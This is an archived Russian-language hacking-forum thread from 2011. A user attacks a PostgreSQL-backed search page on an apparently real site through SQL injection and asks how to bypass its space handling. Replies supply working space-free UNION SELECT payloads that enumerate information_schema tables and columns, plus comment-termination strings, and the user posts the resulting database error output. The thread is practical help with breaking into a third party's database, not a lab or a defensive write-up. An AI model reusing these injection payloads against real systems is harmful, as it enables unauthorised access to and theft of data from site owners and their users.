ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

05.03.2011, 10:33
|
|
Guest
Сообщений: n/a
Провел на форуме: 2108
Репутация:
0
|
|
Имею дело с уязвимым поисковым скриптом. Свободно и без ошибок проходят все инъекции без пробелов и "+", например
?q=asd')OR(1=1)OR('sad'='ssd
но стоит в запросе применить пробел, как выдаеца ошибка.
поизучал скрипт, выяснил что это ииза того, что поисковик обрабатывает слова по отдельности, таксказать...чтобы круче искало...
WHERE ((title ILIKE '%asd')%' AND title ILIKE '%or(1=1)or%')
сопсна вопрос: что делать с этой гадостью, дабы была возможность человеческие инъекции проводить, а не "OR(1=1)"??
|
|
|
|

05.03.2011, 11:12
|
|
Guest
Сообщений: n/a
Провел на форуме: 1985
Репутация:
0
|
|
|
|
|
|

05.03.2011, 11:40
|
|
Guest
Сообщений: n/a
Провел на форуме: 2108
Репутация:
0
|
|
пробовал.... ему походу ваще на комментарии пофигу... только вот это я не знаю как объяснить
|
|
|
|

05.03.2011, 11:50
|
|
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
Провел на форуме: 2212846
Репутация:
56
|
|
Например так
Код HTML:
HTML:
(-1)union(select(1),2,3)
Код HTML:
HTML:
(-1)union(select(table_name),2,(3)from(information_schema.tables))
Ну и далее перебирать нужные таблицы
Код HTML:
HTML:
(-1)union(select(table_name),2,(3)from(information_schema.tables)where(table_name>'SCHEMA_PRIVILEGES'))
|
|
|

08.03.2011, 10:06
|
|
Guest
Сообщений: n/a
Провел на форуме: 2108
Репутация:
0
|
|
чет ваще не канает...но на вопрос ответил, спс.
а вот еще такой момент:
если известно что имею дело с PostgreSQL, то коректна такая связка?
Код HTML:
HTML:
OR(select(blabla))
|
|
|
|

09.03.2011, 16:59
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Для постгреса валидны варианты
Код:
Code:
select"column_name"from"information_schema"."columns"where"table_name"=$$clients$$;
select(column_name)from"information_schema"."columns"where(table_name)='clients';
Имя таблицы в скобках СУБД не принимает
|
|
|

12.03.2011, 12:43
|
|
Guest
Сообщений: n/a
Провел на форуме: 2108
Репутация:
0
|
|
чет всеравно выдает трехэтажную ошибку...
есть какойнить способ заставить его игнорировать остальную часть скрипта, кроме /* и # ?
|
|
|
|

13.03.2011, 22:08
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Ошибку-то покажите. В постгресе игнорирование остальной части запроса с помощью /* не выйдет - СУБД выдаст ошибку, ибо требует закрытия комментария. # тут вообще не поможет. Пробуйте
Код:
Code:
--
+--+
;--
;+--+
|
|
|

14.03.2011, 13:49
|
|
Guest
Сообщений: n/a
Провел на форуме: 2108
Репутация:
0
|
|
вбиваю к примеру
Код HTML:
HTML:
http://site.ru/trade/future/?q=asd')OR(1=1)OR('ass'='as
выполняется успешно, выводятся воообще все результаты (ибо 1=1 везде)
вместо 1=1 подставляю, к примеру select'1'
на что мне отвечают
Код HTML:
HTML:
ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61ERROR [2] pg_query() [function.pg-query]: Query failed: ERROR: failed to find conversion function from unknown to boolean on line 135 in file /castle/sites/site.ru/htdocs/includes/database/database.pgsql.php (page: /trade/future/?q=asd')OR(select'1')OR('ass'='as) Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.6.30 Version/10.61
пробовал тут все что умею, но походу недостаточно знаю постгрес
|
|
|
|

14.03.2011, 14:35
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Так?
Код:
Code:
http://site.ru/trade/future/?q=asd')OR(select'1')...
Правильно пишет - ошибка синтаксиса: не может преобразовать результат подзапроса в булевское значение
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|